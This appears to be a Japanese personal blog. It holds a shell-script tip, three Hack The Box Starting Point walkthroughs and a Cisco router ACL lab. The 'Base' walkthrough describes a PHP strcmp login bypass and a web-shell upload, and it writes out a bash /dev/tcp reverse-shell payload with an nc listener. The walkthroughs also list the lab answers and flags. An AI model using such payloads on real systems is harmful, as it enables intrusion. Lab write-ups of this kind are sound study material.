ターミナルで使えるコマンドを自作する

普段から"vim"と呼ばれるエディタを使い作業をしているのだが、設定でタブを空白2文字にしている。そのせいで、catコマンドでファイルを閲覧する際には、tabが空白4文字になってしまい幅をとってしまう(→見づらい)。今までは、以下のように"sed"コマンドをパイプしていたが面倒なので、この度コマンドを自作することにした。




How to Make A COMMAND

まずホーム直下に任意のディレクトリを作成し、それを自作コマンド専用のディレクトリとしたい。
$ mkdir $HOME/my_command && cd $HOME/my_command
次にファイル名をコマンド名として、以下の要領でシェルスクリプトを書く。
(vimを使わなくても良い)
vim cattab
#!/bin/bash

if [[ $1 = "" ]]; then  #引数がない場合
  echo "Error : You nedd 1 argument" 1>&2
  exit 2

else
  cat $1 | sed 's/\t/  /g'  #catコマンドとsedコマンドの処理を書く
fi
 
そしてPATHを通すのだが、使用するシェル(bashzsh)で方法が異なる。
(自分がどちらを使用しているのか)
echo $SHELL
(1)bashの場合
sudo vim ~/.bashrc
export PATH=$HOME/my_command:$PATH
(2)zshの場合
sudo vim ~/.zshrc
export PATH=$HOME/my_command:$PATH
すると以下のように、自作コマンドを叩けるようになる。




余談

初めbashの方法で設定していたのだけれど、再起動時に反映されなくて(PATHが通らない)、毎回"source"コマンドで設定しなければいけなかった。色々と調べるうちに、そもそも"bash"を使っていないことがわかり、"zsh"のための設定ファイルの変更を行うことで、再起動時にも設定が反映されるようになった。

Hack The Box (starting point #3) : Base

Hack The Boxのチュートリアルである「Base」を攻略したいと思う。




Walkthrough

初手、"nmap"コマンドでポートスキャンをかける。

すると、22番および80番ポートが開いていることがわかる。(タスク1)
Webページに飛び、ログインページを開く。(タスク2)
"/login"ディレクトリには、以下の3つのファイルがある。編集途中で切断されたと思われるSwapファイル(拡張子: .swp)がある。(タスク3,4)

"login.php.swp"を開いてみると、以下のような内容があり、strcmp関数で比較を行っていることがわかる。(タスク5)

文字列型で比較を行っているため、"password"変数を配列型にすると、strcmpはNULLを返し、"=="を使うことで厳密な比較(数値、型)を行わないため"NULL==0"となり、ユーザー名とパスワードを回避することができる。
以下の要領でBurpsuiteを用いて編集し、forwardする。

すると、ログインが成功する。

以下のようなシェルを乗っとるためのスクリプトを書き、先ほどのアップロードボタンからアップロードする。

これを行うことで、URLのパラメータを変えるだけで任意のコマンドを実行できるようになる。以下の画像では、下の方に"john"というユーザーが存在している事がわかる。(タスク7)

また以下の要領で、リバースシェルを獲得するためのペイロードをBurpsuiteを用いて、POSTメソッドで送る。
(1)リスナーを起動(ターミナルから操作)
(次のコマンドでリスナーを起動する)
sudo nc -lvnp 443
(2)ペイロード作成
("cmd"パラメータを変更する)
/bin/bash+-c+'bash+-i+>%26+/dev/tcp/IP_Address/443+0>%261'
すると、(1)のターミナルが以下のようになり、"config.php"が見つかる。(タスク8)

このターミナルからではユーザー"john"に昇格できなかったため、22番ポートのsshを利用する。(User Flag)

調べるとユーザー"john"は、"find"コマンドを利用できる事が分かるので、以下のようにするとroot権限を得られる。(タスク9,10,Root Flag)




Answer

Task1 : 22,80
Task2 : /login/login.php
Task3 : 3
Task4 : .swp
Task5 : strcmp()
Task6 : /_uploaded
Task7 : john
Task8 : thisisagoodpassword
Task9 : /usr/bin/find
Task10 : exec
User Flag : f54846c258f3b4612f78a819573d158e
Root Flag : 51709519ea18ab37dd6fc58096bea949

Hack The Box (starting point #2) : ignition

Hack The Boxのチュートリアルである「ignition」について攻略したいと思う。




Walkthrough

まず、"nmap"コマンドでポートのスキャンを行う。

すると、80番ポート(httpポート)で、"nginx 1.14.2"が立ち上がっていることが分かる。(タスク1)
ここで、"wget"コマンドで、サイトのデータを取得してみる。(タスク2,3)

「ホストアドレス 'ignition.htb' を解決できませんでした」とあるので名前解決ができていないことがわかる。そのため、ドメインIPアドレスを紐付ける。(タスク4)
sudo vim /etc/hosts
以下のような要領で、IPとドメインを入力する。

保存して、ブラウザを更新すると、Webページが表示される。

タスク5のヒントは、ディレクトリのブルートフォースなので、"gobuster"を使うのかと考えたけれど、どうやら違うっぽい。"dirb"と呼ばれるツールを用いる。
dirb http://ignition.htb/
ファジングによって、"/admin"が怪しいことが分かる。(タスク5)

結局のところ、パスワードの推測方法はわからなかったのだけれど、「2021年に使われたパスワード top200」とかでググって、条件に引っかかるものを試すらしい。(タスク6)
最後に、ログインすると、以下のような画面が表示される。中央付近にフラグが表示されていることが分かる。(Flag)




Answer

Task1 : nginx 1.14.2
Task2 : 302
Task3 : ignition.htb
Task4 : /etc/hosts
Task6 : qwerty123
Flag : 797d6c988d9dc5865e010b9410f247e0

Hack The Box (starting point #1) : Redeemer

Hack The Boxのチュートリアルである「Redeemer」について攻略したいと思う。尚、英語の記事は大量にあるので、日本語で行いたいと思う。




Walkthrough

まず、タスク1として、どのTCPポートが開いているかを、nmapコマンドを用いて確認する。デフォルトスキャンでは、見つけられないので、pオプションで10kくらい選択してみる。
nmap -Pn -p1-9999 10.129.102.111
すると、TCPの6379ポートで、redis の5.0.7が稼働していることがわかる。(タスク1,2)

Redisについてグーグルで調べてみると、インメモリデータベースを扱えて、Redisのコマンドとして"redis-cli"を使っていることがわかる。(タスク3,4)
次にタスク5として、特定のredisサービスに接続する際には次のように指定する。(タスク5)
redis-cli -h 10.129.102.111 -p 6379
マシンに入ったら、"info"と打つことで詳細な情報を得ることができる。(タスク6,7)

様々な種類のデータベースについてあまり知識はないのだが、データベースを選択する際には、ほとんどの種類で"select"を使うのではないかと思う。(タスク8)
データベース内の「キー」について、"keys * "を叩くことで、キー一覧を全表示することができる。(タスク9,10)

FLAGテーブル?、テーブルという表現が正しいのか正直よくわからないが、次のコマンドでその中身を確認できる。
get flag
すると、フラグを得ることができる。




Answer

Task1 : 6379
Task2 : redis
Task3 : In-memory Database
Task4 : redis-cli
Task5 : -h
Task6 : info
Task7 : 5.0.7
Task8 : select
Task9 : 4
Task10 : KEYS *
Flag : 03e1d2b376c37ab3f5319922053953eb

ネットワーク初心者のネットワーク構築(2)

前回に引き続き、ネットワークを構築したいと思う。使用した機器(ルータ1台(Cisco 1812-J)、スイッチ2台(Catalyst 2960G))と簡単な接続図は、以下の通り。目標は、異なるLANの接続を拒否するようなネットワークの構築として、Pingが通ることを確認した。尚、どちらのLANもインターネットに接続できるように設定したい。



前提として

今回の内容は、前回の設定に対して設定を加えた。そのため、前提条件として、PC1~4が相互に接続できる環境とする。


ルーターの設定

今回は、ルーターのみの設定となる。Ciscoルーターには、ACLAccess Control List)と呼ばれる、特定のIPアドレスだけ通過させるような条件を記述できる(ファイヤーウォールみたいなもの)。上の図であれば、左側のLANには右側のLANを接続させないようにするため、右側の192.168.20.XのIPアドレスを拒否(deny)するようにACLリストに設定する。

いま、始めの図における右側のLANがFE0ポート(下)、左側のLANがFE1ポート(上)に接続されている。
まず、左側のLANとしては、インターネットに接続できる(FE1を通過する)が、右側のLANを通したくないので、FE0に対して設定を行う。
(1)設定モードに入る
Router> en
Router# configure terminal
(2)2つ目のACLを記述する
Router(config)# access-list 2 deny host 192.168.10.1
Router(config)# access-list 2 deny host 192.168.10.2
Router(config)# access-list 2 permit host 192.168.20.1
Router(config)# access-list 2 permit host 192.168.20.2
(3)FE0ポートにアウトバウンドACLを適用する
Router(config)# int fastethernet 0
Router(config-if)# ip access-group 2 out
Router(config-if)# exit
次に、右側のLANとしては、インターネットに接続できる(FE0を通過する)が、左側のLANを通したくないので、FE1に対して設定を行う。
(1)設定モードに入る
Router> en
Router# configure terminal
(2)1つ目のACLを記述する
Router(config)# access-list 1 deny host 192.168.20.1
Router(config)# access-list 1 deny host 192.168.20.2
Router(config)# access-list 1 permit host 192.168.10.1
Router(config)# access-list 1 permit host 192.168.10.2
(3)FE1ポートにアウトバウンドACLを適用する
Router(config)# int fastethernet 1
Router(config-if)# ip access-group 1 out
Router(config-if)# exit
最後に次のコマンドで設定を確認する。
Router# show running-config
以下のような出力があればOK。




接続確認(Pingを投げる)

PC2からPC1へのPing(接続許可)

PC2からPC3へのPing(接続拒否)

PC2からPC4へのPing(接続拒否)

PC3からPC1へのPing(接続拒否)

PC3からPC2へのPing(接続拒否)

PC3からPC4へのPing(接続許可)




余談

元々、PC3からPC1,2へは接続できないが、PC1,2からPC3への接続が可能であるようなネットワークの構築方法を探していた。調べを進めるうちに、困難であることがわかったので、始めの図の左側のLANと右側のLANとで、接続ができないようなネットワークの構築として、一段落つくとする。